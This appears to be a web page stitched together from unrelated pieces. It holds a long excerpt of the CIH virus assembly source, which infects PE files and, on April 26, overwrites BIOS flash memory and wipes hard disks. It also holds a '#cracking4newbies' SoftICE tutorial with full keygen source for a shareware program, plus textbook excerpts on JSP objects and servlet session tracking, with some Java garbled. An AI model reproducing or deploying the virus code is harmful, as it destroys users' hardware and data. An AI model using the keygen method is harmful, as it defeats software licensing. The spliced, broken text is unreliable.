*************************** ; * Let's Modify the * ; * AddressOfEntryPoint to * ; * My Virus Entry Point * ; *************************** mov (NewAddressOfEntryPoint-@9)[esi], edx ; *************************** ; * Setup Initial Data * ; *************************** lea edx, [esi-SizeOfScetionTable] mov ebp, offset VirusSize jmp StartToWriteCodeToSections ; *************************** ; * Write Code to Sections * ; *************************** LoopOfWriteCodeToSections: add edx, SizeOfScetionTable mov ebx, (SizeOfRawData-@9)[edx] sub ebx, (VirtualSize-@9)[edx] jbe EndOfWriteCodeToSections push ebx ; Size sub eax, 08h mov [eax], ebx mov ebx, (PointerToRawData-@9)[edx] add ebx, (VirtualSize-@9)[edx] push ebx ; Pointer of File push edi ; Address of Buffer mov ebx, (VirtualSize-@9)[edx] add ebx, (VirtualAddress-@9)[edx] add ebx, (ImageBase-@9)[esi] mov [eax+4], ebx mov ebx, [eax] add (VirtualSize-@9)[edx], ebx
; Section contains initialized data ==> 00000040h ; Section can be Read. ==> 40000000h or (Characteristics-@9)[edx], 40000040h StartToWriteCodeToSections: sub ebp, ebx jbe SetVirusCodeSectionTableEndMark add edi, ebx ; Move Address of Buffer EndOfWriteCodeToSections: loop LoopOfWriteCodeToSections ; *************************** ; * Only Set Infected Mark * ; *************************** OnlySetInfectedMark: mov esp, dr1 jmp WriteVirusCodeToFile ; *************************** ; * Set Virus Code * ; * Section Table End Mark * ; *************************** SetVirusCodeSectionTableEndMark:
; Adjust Size of Virus Section Code to Correct Value add [eax], ebp add [esp+08h], ebp
; Set End Mark xor ebx, ebx mov [eax-04h], ebx ; *************************** ; * When VirusGame Calls * ; * VxDCall, VMM Modifies * ; * the 'int 20h' and the * ; * 'Service Identifier' * ; * to 'Call [XXXXXXXX]'. * ; *************************** ; * Before Writing My Virus * ; * to File, I Must Restore * ; * them First. ^__^ * ; *************************** lea eax, (LastVxDCallAddress-2-@9)[esi] mov cl, VxDCallTableSize LoopOfRestoreVxDCallID: mov word ptr [eax], 20cdh mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] mov [eax+2], edx movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] sub eax, edx loop LoopOfRestoreVxDCallID ; *************************** ; * Let's Write * ; * Virus Code to the File * ; *************************** WriteVirusCodeToFile: mov eax, dr1 mov ebx, [eax+10h] mov edi, [eax] LoopOfWriteVirusCodeToFile: pop ecx jecxz SetFileModificationMark mov esi, ecx mov eax, 0d601h pop edx pop ecx call edi ; VXDCall IFSMgr_Ring0_FileIO jmp LoopOfWriteVirusCodeToFile ; *************************** ; * Let's Set CF = 1 ==> * ; * Need to Restore File * ; * Modification Time * ; *************************** SetFileModificationMark: pop ebx pop eax stc ; Enable CF(Carry Flag) pushf ; ************************************* ; * Close File * ; ************************************* CloseFile: xor eax, eax mov ah, 0d7h call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Need to Restore File Modification * ; * Time !? * ; ************************************* popf pop esi jnc IsKillComputer ; ************************************* ; * Restore File Modification Time * ; ************************************* mov ebx, edi mov ax, 4303h mov ecx, (FileModificationTime-@7)[esi] mov edi, (FileModificationTime+2-@7)[esi] call ebx ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Disable OnBusy * ; ************************************* DisableOnBusy: dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy ; ************************************* ; * Call Previous FileSystemApiHook * ; ************************************* prevhook: popad mov eax, dr0 ; jmp [eax] ; Jump to prevhook ; ************************************* ; * Call the Function that the IFS * ; * Manager Would Normally Call to * ; * Implement this Particular I/O * ; * Request. * ; ************************************* pIFSFunc: mov ebx, esp push dword ptr [ebx+20h+04h+14h] ; Push pioreq call [ebx+20h+04h] ; Call pIFSFunc pop ecx ; mov [ebx+1ch], eax ; Modify EAX Value in Stack ; *************************** ; * After Calling pIFSFunc, * ; * Get Some Data from the * ; * Returned pioreq. * ; *************************** cmp dword ptr [ebx+20h+04h+04h], 00000024h jne QuitMyVirusFileSystemHook ; ***************** ; * Get the File * ; * Modification * ; * Date and Time * ; * in DOS Format.* ; ***************** mov eax, [ecx+28h] mov (FileModificationTime-@6)[esi], eax ; *************************** ; * Quit My Virus' * ; * IFSMgr_FileSystemHook * ; *************************** QuitMyVirusFileSystemHook: popad ret ; ************************************* ; * Kill Computer !? ... *^_^* * ; ************************************* IsKillComputer: ; Get Now Month from BIOS CMOS mov ax, 0708h out 70h, al in al, 71h xchg ah, al
; Get Now Day from BIOS CMOS out 70h, al in al, 71h xor ax, 0426h ; 04/26/???? jne DisableOnBusy ; ************************************** ; * Kill Kill Kill Kill Kill Kill Kill * ; **************************************
; *************************** ; * Kill BIOS EEPROM * ; *************************** mov bp, 0cf8h lea esi, IOForEEPROM-@7[esi] ; *********************** ; * Show BIOS Page in * ; * 000E0000 - 000EFFFF * ; * ( 64 KB ) * ; *********************** mov edi, 8000384ch mov dx, 0cfeh cli call esi ; *********************** ; * Show BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** mov di, 0058h dec edx ; and al,0fh mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h call esi ; *********************** ; * Show the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E01FF * ; * ( 512 Bytes ) * ; * , and the Section * ; * of Extra BIOS can * ; * be Writted... * ; *********************** lea ebx, EnableEEPROMToWrite-@10[esi] mov eax, 0e5555h mov ecx, 0e2aaah call ebx mov byte ptr [eax], 60h push ecx loop $ ; *********************** ; * Kill the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E007F * ; * ( 80h Bytes ) * ; *********************** xor ah, ah mov [eax], al xchg ecx, eax loop $ ; *********************** ; * Show and Enable the * ; * BIOS Main ROM Data * ; * 000E0000 - 000FFFFF * ; * ( 128 KB ) * ; * can be Writted... * ; *********************** mov eax, 0f5555h pop ecx mov ch, 0aah call ebx mov byte ptr [eax], 20h loop $ ; *********************** ; * Kill the BIOS Main * ; * ROM Data in Memory * ; * 000FE000 - 000FE07F * ; * ( 80h Bytes ) * ; *********************** mov ah, 0e0h mov [eax], al ; *********************** ; * Hide BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** ; or al,10h mov word ptr (BooleanCalculateCode-@10)[esi], 100ch call esi ; *************************** ; * Kill All HardDisk * ; *************************************************** ; * IOR Structure of IOS_SendCommand Needs * ; *************************************************** ; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * ; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * ; *************************************************** KillHardDisk: xor ebx, ebx mov bh, FirstKillHardDiskNumber push ebx sub esp, 2ch push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx push 40000501h inc ecx push ecx push ecx mov esi, esp sub esp, 0ach LoopOfKillHardDisk: int 20h dd 00100004h ; VXDCall IOS_SendCommand cmp word ptr [esi+06h], 0017h je KillNextDataSection ChangeNextHardDisk: inc byte ptr [esi+4dh] jmp LoopOfKillHardDisk KillNextDataSection: add dword ptr [esi+10h], ebx mov byte ptr [esi+4dh], FirstKillHardDiskNumber jmp LoopOfKillHardDisk ; *************************** ; * Enable EEPROM to Write * ; *************************** EnableEEPROMToWrite: mov [eax], cl mov [ecx], al mov byte ptr [eax], 80h mov [eax], cl mov [ecx], al ret ; *************************** ; * IO for EEPROM * ; *************************** IOForEEPROM: @10 = IOForEEPROM xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx BooleanCalculateCode = $ or al, 44h xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret ; ********************************************************* ; * Static Data * ; ********************************************************* LastVxDCallAddress = IFSMgr_Ring0_FileIO VxDCallAddressTable db 00h db IFSMgr_RemoveFileSystemApiHook-_PageAllocate db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook db IFSMgr_Ring0_FileIO-UniToBCSPath VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h VxDCallTableSize = ($-VxDCallIDTable)/04h ; ********************************************************* ; * Virus Version Copyright * ; ********************************************************* VirusVersionCopyright db 'CIH v' db MajorVirusVersion+'0' db '.' db MinorVirusVersion+'0' db ' TTIT' ; ********************************************************* ; * Virus Size * ; ********************************************************* VirusSize = $ ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ; ********************************************************* ; * Dynamic Data * ; ********************************************************* VirusGameDataStartAddress = VirusSize @6 = VirusGameDataStartAddress OnBusy db 0 FileModificationTime dd ?
FileNameBuffer db FileNameBufferSize dup(?) @7 = FileNameBuffer
Implicit objects provide programmers with access to many servlet capabilities in the context of a JavaServer Page. Implicit objects have four scopes: application, page, request and session. The JSP and servlet container application owns objects with application scope. Any servlet or JSP can manipulate such objects. Objects with page scope exist only in the page that defines them. Each page has its own instances of the page-scope implicit objects. Objects with request scope exist for the duration of the request. For example, a JSP can partially process a request, then forward the request to another servlet or JSP for further processing. Request-scope objects go out of scope when request processing completes with a response to the client. Objects with session scope exist for the client’s entire browsing session. Figure 37.2 describes the JSP implicit objects and their scopes. This chapter demonstrates several of these objects.
Implicit object Description
Application Scope
application This javax.servlet.ServletContext object represents the container in which the JSP executes.
Page Scope
config This javax.servlet.ServletConfig object represents the JSP configuration options. As with servlets, configuration options can be specified in a Web application descriptor.
exception This java.lang.Throwable object represents the exception that is passed to the JSP error page. This object is available only in a JSP error page.
out This javax.servlet.jsp.JspWriter object writes text as part of the response to a request. This object is used implicitly with JSP expressions and actions that insert string content in a response.
page This java.lang.Object object represents the this reference for the current JSP instance.
pageContext This javax.servlet.jsp.PageContext object hides the implementation details of the underlying servlet and JSP container and provides JSP programmers with access to the implicit objects discussed in this table.
response This object represents the response to the client and is normally an instance of a class that implements HttpServletResponse (package javax.servlet. http). If a protocol other than HTTP is used, this object is an instance of a class that implements javax.servlet.ServletResponse.
Request Scope
request This object represents the client request. The object normally is an instance of a class that implements HttpServletRequest (package javax.servlet. http). If a protocol other than HTTP is used, this object is an instance of a subclass of javax.servlet.ServletRequest.
Session Scope
session This javax.servlet.http.HttpSession object represents the client session information if such a session has been created. This object is available only in pages that participate in a session.
To start off, we need to know whether there is only one serial number that will work, or whether it depends on what information we enter. Only one serial number allowed doesn't qualify for a keygen. If the program uses the information we enter to determine what the serial number is going to be, then that is where we need to start.
I always use basic numbers, or letters so i know what they are when i see them ie: 08642 or qazwsx. That way i don't get them mixed up with some data that might be in memory at the time.. also when you use numbers, programs can take those numbers and convert them to hexidecimal and then store them in a register or memory location. When u enter your data, remember that the number could be converted to hexidecimal ie: 123 would be 7Bh. You may see that in a register, so watch out for it!!! Sometimes programs need a serial like: 1234-5678-9024. You should see an echo of it in memory, as with any other info you enter. The program may convert that to hexidecimal ( minus the dashes) and store it somewhere, or it might take each number and do its math on it... meaning that it might take the 1 (31h) and multiply it by a certain value, then loop untill all the numbers have gone through the cycle, or something similar. PLEASE REMEMBER that not every proggie uses the same tricks. Some will convert the 1234 to hex, while others might use ascii to hex (asm term) or ascii to integer (C term) to make eax=1234 instead of the hexidecimal value of 1234... just be wary when ur looking around.
Now for the stratagy: When we enter our info, we want to see what is done with it. The best way to do that is set a break point range (bpr) on the intended info. I usually type my info in, then bpx hmemcpy in sice, then hit enter, hit f5 untill all the data is read, but b/4 we get to the messagebox. Hit f12 untill your back to 32 bit code, or 16bit (depending on what the proggie is written in). Then i disable my bpx hmemcpy, and set a break point on a certain line (so i don't have to go through the whole process of hmemcpy again), but if the program uses hmemcpy to move the serial some more, the bpr on the info usually picks it up. After i bpx a certain line, i s 0 l ffffffff 'my info' and when i find it, BPR rw (w/o the < > ) and the rw stands for read/write ie: bpr 013f:123 013f:129 rw. I set the range because some programs take only part of the serial and do something with it, whether that is read only part of it, or move it to another spot in memory. Now search for it again, by typing just S and then hit enter (this continues the last search done from the current position) and if you find it in the Cxxxxxxxx range, don't bpr on it. Likewise if you find it in the 8xxxxxxx range, don't set a bpr on it. This part of memory is windows video buffer i think (anyway windows uses it).
Some proggies take the users name and capitalize it, you should notice this, also notice whether certain characters are allowed ie: numbers, brackets, dashes, all the other characters... When the program capitalizes the name it may skip over certain characters and do nothing with them, or if you put a space in the name, it may convert the space to an underscore or some other character...TAKE NOTE OF WHAT GOES ON !!!!!!!!!!!
If the program doesn't worry about the users name, it might concentrate on the serial number provided. This we also have to watch. Earlier i mentioned that proggies may convert the numbers to hex, or ascii to hex, or just read them from memory, YOU HAVE TO NOTICE WHAT IT DOES when it reads/modified the number. Sometimes this isn't easy to see, or you might have caught part of the algo, and missed the first very important part. If so, you need to back track and find out what you missed... The key to understanding keygens it UNDERSTANDING HOW WHAT THE ALGORITHM DOES.. thus the name- keygens.
What is left out? Are there dashes in the serial still? Are certain characters no longer there? Do spaces equal spaces, or are they taken out, or replaced with underlines, or zero's? This is the most important part. Pay close attention.. at this point the serial number might be in hex form, or ascii character to hex representation, also known as ascii/integer representation. Meaning.. in memory instead of seeing 31h 32h 33h 34h 2Dh 35h 36h 37h 38h you will see 01h 02h 03h 04h 2Dh 05h 06h 07h 08h (the dash may not be there). These are all questions that we should be asking ourselves. There are a million different things to do to the serial number, but remember we need to duplicate it.
All of this so far is done b/4 the algorithm is reached. When we finally ge to it, we want to write down (on paper) what it does. Do this line by line... but at the top have the serial number, or name it uses so you can easily look and see where it gets the info. Start out by explaining all the variables, like..... eax now holds our serial in hex form, ecx holds the total number of digits entered, or [esi+bx] is the buffer where our name is stored (after it is capitalized). make sure you know what all the variables are b/4 u start writing lines. If eax=100h b/4 it starts, make a note of it. Sometimes there are already numbers in the registers that are part of the algo. This is essential.
Now write every line down on our paper. I write them exactly as shown in sice. The only difference is i comment every line that causes a register to change. I put in perenthesis what the registers hold after the instruction i s executed, that way when i finish mine and need to debug it, i know what numbers should be where. This will tell me where i went wrong. Some algos use the Zero flag for special jumps.. when this happens i write that down too. When i see something like mov ecx,[eax+4] i write down what that memory location would be, whether its my serial or just the hex value of my serial. If it is the buffer where my name is stored, i write that down too. At the end of the algorithm, the correct serial number is either in memory or in a register. Make a special point to wite down how it is stored. The registration number could be in eax. If eax= 12c4328a, the registration could be the decimal value of eax, or it could actually be 12c4328a. Make sure you know what u have to do to be able to print it to the screen. When i have the full algorithm on paper, i sit down and sort out what i don't need. If the program pushes something to the stack that isn't important to me, I leave it out. (today i just found an algo that uses 57 lines of code, and i cut it down to 24)
By this time, you should have a basic understanding of how the program generates the serial. Now we duplicate it.
#1. get input #2. make name all caps #3. change all Q's and Z's to R's #4. get all letters of the name and do the math #5. eax=hex value of our serial #6. convert to decimal #7. print to screen #8. done!!!
OR: #1. get input #2. convert serial number to hex, and move into eax #3. do math with serial number #4. edx=23abc3e5.... and 23abc3e5 is our registration code... #5. put edx into memory in ascii form #6. print to screen #7. done!!!
Whatever u do, make sure u have your outline. That way when you start writing it, you will know what is needed.
NOW is the time for OUR keygen... i've provided some code you can track down and break on.
For this example i am going to use the Name: stickless (no caps) and the registration number 987654.
First of all, enter your name, and serial number in the spaces provided. Don't hit enter.
1. In sice set bpx hmemcpy, and exit again 2. Hit enter, and hit f5 1 time 3. Now hit f12 untill you are back into the w32filer code 4. Search for 33 d2 33 c0 3b c8 7e 17 0f be and set a break point on that location. 5. Search for 0f be 0a 83 f9 20 74 0d 8a 0a and also set a break point on that address. ( s 0 l ffffffff 0a 83 f9 20 74 0d 8a 0a ) is how 6. Now on the first line after you enter w3filer code, set a bpx on it. Also bd the bpx hmemcpy. (I do that so i don't have to go back through hmemcpy if i mess up.) 7. If all goes well you can hit f5 and it will break on the line that starts moving your serial to another place, then capitalizes it. (if not, then exit select ok and follow the first call after writeprivatprofilestringa, and you will find it.) Single step through this part of the program so you can see what happens. 8. REMEMBER to write down on a piece of paper exactly what we see the program doing. We will need this for our keygen. 8a. You should see each character being loaded, then compared to see if it is a captial letter already, if not, then it is checked to see if it is a space. If it is, then it skips over it to the next letter. 9. after this is done, there is another call. This one calculates the total number of letters that are in the name. It is then compared to 4, to see if there were enough characters entered. 10. You may be able to see the next break point we searched for. If not, set a temporary break point on a line where you are at, then hit f5. If we found the correct bytes and set a bpx on them, then we should stop at the actual algorithm. If not, then we'll have to hit ok and go through this process again. 11. When we break on the algorithm we will see these lines:
xor edx,edx -clears edx for a new start xor eax,eax -new start cmp ecx,eax -ecx holds the total number of digits we entered jle xxxxxxxx -xxxxxxxx is some line number that continues the algo loop: movsx ebx,byte ptr [eax+esi] -gets the first letter, then next shl ebx,03 -shifts the value of the letter left 3 times movsx edi,byte ptr [esi+esi] -gets same letter in edi imul edi,eax -eax holds the spot in our name. first letter = 0 add ebx,edi -add the hex value of the letter to ebx add edx,ebx -now add that number to edx inc eax -increase our counter (for our name) cmp ecx,eax -does the counter equal the total number of digits? jg loop -if it is greater than our total digits, then go on -the program loops untill all letters of our name -have been read and converted mov eax,[00416720] -this is the hexidecimal representaion of the -serial number provided. If you ? eax, you -will see the serial number sar eax,03 -shift arithmatic right add edx,eax -at this point edx now holds our serial number.. -however, there is a little twist to the story :) -edx=6856d39.. if you ? edx you get 0109407545.. -however if you enter that number, it won't work -the reg code IS 6856d39
*********** REALLY BIG NOTE HERE!! DON'T IGNORE THIS*******************
WRITE ALL OF THIS DOWN ON PAPER WHILE YOUR DOING IT. I write it exactly as i see it, and put comments on every line. You can never have too many comments, unless they don't make sense. In the place of [eax+esi] i write "points to my name" behind it. Remember, to make your keygen, you need to know what to put in it, and what order. Currently i have this written down on paper:
1. Enter name 2. Move it and take out the spaces 3. Capitalize it 4. Get the number of characters entered 5. Cmp that number to 4 6. Enter algorithm 7. I have the algo on paper and have it commented :) 8. After algo is over with, edx hold the hexidecimal represention of my serial number
WRITE EVERYTHING DOWN AND COMMENT IT!!!!!!
*******************************ok ur done***********************************
If you trace a little while longer, then you will see that number being compared to the number you entered. There is a return and eax=0 if all is well. If not, then we go to the messagebox.
I am done with my tutorial. All that is left is the source for my keygen. Study it, and duplicate it, steal any code u need, or modify it all you want. I don't care, as long as you learn how things work.
Encluded should be the program, and another copy of the source. I suggest you compile it with the int3's included and set a bpint 3 in sice, and single step through all of it. You will learn a lot more by doing that than just reading the code. I know i have rambled on for a long time now so i'll stop.
I hope this brought a few of you closer to understanding keygens and how to make them. I have plans for another tutorial on them, but ran out of time to put it in here. This next one will use a different type of algorithm, and i'll show u some more asm code. Using the two tutes, you should be able to write your own for most programs. have fun and stay happy :) * * * This is the basic format for making a keygen for wfiler32.. the following is an example of how to do it.
-------------cut and paste the rest so you don't have to type it------------
;keygen for wfiler32 ;made by #cracking4newbies for newbies :)
.model small .stack 100h .386 .data hello db 'Please enter your name here : $' ask_serial db 0dh,0ah,0dh,0ah, 'Enter The serial number (in the registration box) : $' uprint db 0dh,0ah,0dh,0ah,'Your registration code is : $' infa db 0dh,0ah,0dh,0ah,'#cracking4newbies keygen for wfiler32 $' ;the next 3 lines are for getting input and the params it has to meet
;maxkey db 20 ;maximum characters-set to 20 ;charinp db ? ;not surehow many characters we are going to type serinum db 20 serinp db ? buffer db 20 dup(0) ;characters r stored-there are 20 max note db 0dh,0ah,0dh,0ah,'Please enter more than 8 characters for your name.$' key db 11 dup(0) bufferb db 20 dup(0) nametotal db 20 namehow db ? bufferc db 20 dup(0) key2 db 11 dup(0)
.code ;my code begins here start:
main proc ;sets up procedure/is also the starting point mov ax, @data ;canït modify ds directly mov ds, ax ;move it into another reg first
mov ah,7 ;attrib to scroll window, 7 scroll down mov al,0 ;do the entire window mov ch,0 ;this points to the upper left row mov cl,0 ;this points to the upper left column mov dh,24 ;this points to the lower right row mov dl,79 ;this points to the lower right column mov bh,7 ;normal attrib for blank lines int 10h ;call bios xor ax,ax ;make sure that ax(ah+al) are clear
;this next section is to set the cursor upwards in the screen
mov ah,2 ;ah=2/int10h set the cursor position mov bh,0 ;select video page 0 mov dx,0501h ;cursor 5 rows down in the first column int 10h ;call bios
mov ah,09h ;ah=9/int21=dos function print to screen mov dx,offset infoa ;points to where data infoa is stored int 21h ;call dos int 21
mov ah,09h ;ah=9/int21 dos function print to screen mov dx,offset hello ;points to where data hello is stored int 21h ;dx points to it or it wonït print
mov ah, 0ah ;ah=0ah/int21 dos procedure for asking mov dx, offset nametotal ;dx has to point to the first of the int 21h ;paramaters-starts with max keys allowed
;int 3h ;take the semi-colon out to debug the source
call checknum ;check to see if enough letters were entered
mov ah,09h ;as for the serial number mov dx,offset ask_serial ;dx points to the location in memory of the txt int 21H ;call dos interupt
mov ah, 0aH ;ah=0ah/int21 gets buffered input mov dx, offset serinum ;store the input in a buffer named serinum int 21h ;execute ah=0ah ;int 3h ;remove semicolon and recompile to debug it
call caps ;call the capitalize procedure
call str2num ;this converts a string of numbers to hexidecimal value
call calc ;this is the actual algo for w32filer
mov ax,4c00h ;termination string int 21h ;go bye bye
main endp
;this section checks to see how many characters were entered ;if less than 4 then no good
checknum proc mov si, offset namehow ;total number of characters entered mov cl,byte ptr [si] ;mov 1 byte (cl only holds 1 byte) cmp cl,04h ;cmp the total number to 4 jle nogood ;if less than 4 then let user know ret ;if it is more than 4, then return from call nogood: mov dx,offset note ;there are too few letters in the name mov ah,09h ;so we have to let the user know int 21h mov ax,4c00h ;lets kill the program int 21h ;ax=4c00h/int21h end the program checknum endp
;this section checks the name for caps and if already capital, then it leaves ;it alone, otherwise it converts it...also i checked for a space... didn't ;want ;that to get captialized too :)
caps proc push ecx ;save data push edx ;save data push esi ;save data xor edx,edx ;we clear all to get a fresh start xor ecx,ecx ;we clear all to get a fresh start mov si, offset bufferc ;point to name mov cl,[si] ;lets load it up and do some checking all: cmp cl,61h ;is the letter less than "a" (if less than, it is a capital letter) jl g02 ;yes then lets just print it and not make it ;uppercase cmp cl,7ah ;is it greater than "z" jg g02 ;yes then lets just print it sub cl,20h mov [si],cl ;[si] is where we got the letter from, now ;lets replace it with a capital one g02: mov cl,[si+1] ;get next character inc si ;point to next character cmp cl,0dh ;is this the code for the return? jnz all ;no, then lets do this stuff again alldon: pop esi ;restore data pop edx ;restore data pop ecx ;restore data ret caps endp
; ; ASCII decimal string to 32bit number ; Copyright (c) 1997 Brand Huntsman ; _QZ 16feb97 ; ;i had to modify this section to work for more than 4 digits ;and his original code was wrong, or i don't have the same setup as him
str2num PROC ;ds and es should point to this segment
cld ;go forward mov si,offset buffer ;buffer=storage area where our serial number is stored mov di,offset bufferb ;temorary storage area xor ecx,ecx ;get a clean start
again: lodsb ;loads the byte that es:si points to into eax xor ah,ah ;clear the high bits of ax, so al holds our number or ax,ax ;does al hold an actual number? or is it blank? jz alldone ;if nothing, then we're done sub ax,48 ;subtract 30h from our number (1= 31h) so it subtracts 30h from it, and we get 01h cmp ax,10 ;cmp ax for a valid number from 0 - 9 jb goodnum ;if higher, then don't jump
;bad numumber stc jmp alldone ;done with our math, now lets add the numbers up
goodnum: mov [di], byte ptr al ;the number was 0-9 so we save it into memory (our temorary storage) inc cx ;cx is our counter.. how many numbers did we look at? inc di ;di now points to the next byte in memory for our temporary storage jmp short again ;lets do it again
alldone: std ;go in reverse mov si,di ;make both si and di point to the same spot in memory dec si ;account for overrun xor ebx,ebx ;clear some registers for a fresh start xor eax,eax xor edx,edx inc edx ;edx is now being used to count our "digits" place (1234 ;is 1thousand 2hunder thirty four, where the 4 is the ones digit, 3 is the tens digit, and 2 is the hundreds digit)
addemup: xor eax,eax ;clear eax for a fresh start, we don't want anything in it that may corrupt our data lodsb ;load the byte that is at es:di into eax imul eax,edx ;multiply our digit by the place it should be in ( 1234 again.. this starts with the digit on the far right, which is the ones spot 4*1=4) then it loops and 3*10=30 add ebx,eax ;add that to running total (the first time through, ebx is empty) imul edx,10 ;multiply position times 10 (so we can move to the next number and it will be the correct spot.. ones digit, 10's digit, 100's digit, 1000's digit.....) loop addemup ;b/4 when we increased cx (which was our counter), now loop will continue to loop untill cx=0 mov ecx,ebx ;ebx now holds our serial so we move it into ecx for later use ret ;ebx = number ;if carry set then bad number ENDP str2num
;this is the actual algo for w3 ;take a look and see what happens :)) ;very neet stuff here !!!!!
calc proc xor eax,eax ;clear the registers for a fresh start xor ebx,ebx push ecx ;we just moved the serial number into ecx, now we want to save it xor ecx,ecx ;clear the rest of the registers xor edx,edx
otra: mov si,offset bufferc ;bufferc points to our name(which is capitalized now) mas: movsx ebx, byte ptr [si] ;copy first char to start off, then increase to the next and loop cmp bl,20h ;is the character a space? je mas2 cmp bl,0dh ;is the character the return code for enter ( 0dh= enter) je otra2 ;if is the return code for enter, then finish our algo shl ebx, 03h ;shift left movsx edi,byte ptr [si] ;copy the character into edi (the same one that was just loaded into ebx imul edi, eax ;multiply edi by the number in eax (just part of the algo) add ebx, edi ;add hex of our letter to ebx add edx, ebx ;add our "running total" to edx (the remainder from the imul)
inc eax ;increas eax because it is needed in the algo mas2: inc si ;since si points to our name, we need to go through each character of it, so we increase the pointer jmp mas ; do it all again
otra2: pop eax ;get the serial that we converted so it was in eax sar eax, 03 ;sar (shift arithmetic right) our serial add edx, eax ;add it to our "running total" from our name mov ebx,edx ;edx now holds our serial :) call convert2 ;we are going to make it so we can print it to screen
;at this point, edx now holds my serial !!!!!
ret calc endp
;this section now puts the final serial in to memory.. since it is in ebx ;we move it to eax, then do our calculations ;we also have to write it backwards in memory ;because this procedure starts with low bit and goes high
convert2 proc mov si,offset bufferb ;point to our storage area add si,0bh ;now we want to move 11 bytes after it so when we write it backwards, then there will be no problems mov byte ptr [si],'$' ;you need a $ at the end of it so dos knows when to stop printing dec si ;we are working backwards.. so decrease our pointer mov ebp,10h ;we are going to divide by 16d to get our actual characters out of eax..if eax=ab348d12 then our registration number is that number, not the decimal representation of it putnum: ;inc si ;didn't need to inc si but i was too lazy to take it out :) mov eax,ebx ;ebx held our serial, so now we need it in eax xor edx,edx ;when we divide, we need edx to be clear div ebp ;divide our serial by 10h so we get the far right number/letter to our serial mov ecx,edx ;mov ecx our number/letter mov eax,ebx ;after we divide, ebx holds our new number minus what we divided out sub edx,edx ;clear edx add cl,30h ;add 30h to our digit to get it back to a number div ebp ;divide eax by 10h again (our next letter is in edx) mov ebx,eax ;ebx holds our serial minus the numbers we divided out cmp cl,39h ;if our number we added 30h to isn't a valid number, then we need to convert it to a letter between a - f jbe sonow ;valid number, then jump add cl,27h ;not valid number, then add 27h to make it a letter sonow: mov [si],cl ;mov cl (whether letter or number) to the place in memory where si points to dec si ;we are working backwards here, so remember to decrease si or ebx,ebx ;does ebx have any numbers left? jnz putnum ;if there is something, then start again inc si ;after we are out of numbers, we need to point to the first letter/number of our serial lea dx, [si] ;load that address into dx so we can print it to screen call write ;call my print procedure ret convert2 endp
;this section just prints a little stuff on the screen ;very basic
write proc push edx ;save the pointer for our serial number mov dx,offset uprint ;mov the pointer for our text we want to say into dx mov ah,09h ;now print it int 21h pop edx ;restore our pointer to our data mov ah,09h ;and print it to the screen int 21h ret write endp end main
I could have optimized the code a litte better, and i don't claim to be a god in asm. So if you notice something you are welcome to change it and recompile it to see if it still works. I'm a newbie just like the rest of you. Maybe a little more advanced, nothing more.
HTTP is a stateless protocol: it provides no way for a server to recognize that a sequence of requests are all from the same client. Privacy advocates may consider this a feature, but it causes problems because many web applications aren’t stateless. The shopping cart application is a classic example—a client can put items in his virtual cart, accumulating them until he checks out several page requests later. Other examples include sites that offer stock brokerage services or interactive data mining. The HTTP state problem can best be understood if you imagine an online chat forum where you are the guest of honor. Picture dozens of chat users, all conversing with you at the same time. They are asking you questions, responding to your questions, and generally making you wish you had taken that typing course back in high school. Now imagine that when each participant writes to you, the chat forum doesn’t tell you who’s speaking! All you see is a bunch of questions and statements mixed in with each other. In this kind of forum, the best you can do is hold simple conversations, perhaps answering direct questions. If you try to do anything more, such as ask someone a question in return, you won’t necessarily know when the answer comes back. This is exactly the HTTP state problem. The HTTP server sees only a series of requests—it needs extra help to know exactly who’s making a request.* The solution, as you may have already guessed, is for a client to introduce itself as it makes each request. Each client needs to provide a unique identifier that lets the server identify it, or it needs to give some information that the server can use
to properly handle the request. To use the chat example, a participant has to begin each of his sentences with something like “Hi, I’m Jason, and ...” or “Hi, I just asked about your age, and ...”. As you’ll see in this chapter, there are several ways for HTTP clients to send this introductory information with each request. The first half of the chapter explores the traditional session-tracking techniques used by CGI developers: user authorization, hidden form fields, URL rewriting, and persistent cookies. The second half of the chapter demonstrates the built-in support for session tracking in Version 2.0 of the Servlet API. This support is built on top of the traditional techniques and it greatly simplifies the task of session tracking in your servlets.
import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class ShoppingCartViewerHidden extends HttpServlet { public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { res.setContentType("text/html"); PrintWriter out = res.getWriter(); out.println(""); out.println(""); // Cart items are passed in as the item parameter. String[] items = req.getParameterValues("item"); // Print the current cart items. out.println("You currently have the following items in your cart: "); if (items == null) { out.println("None"); } else { out.println("
"); for (int i = 0; i <>" + items[i]); } out.println("
"); } // Ask if the user wants to add more items or check out. // Include the current items as hidden fields so they'll be passed on. out.println(" "); out.println(""); } }
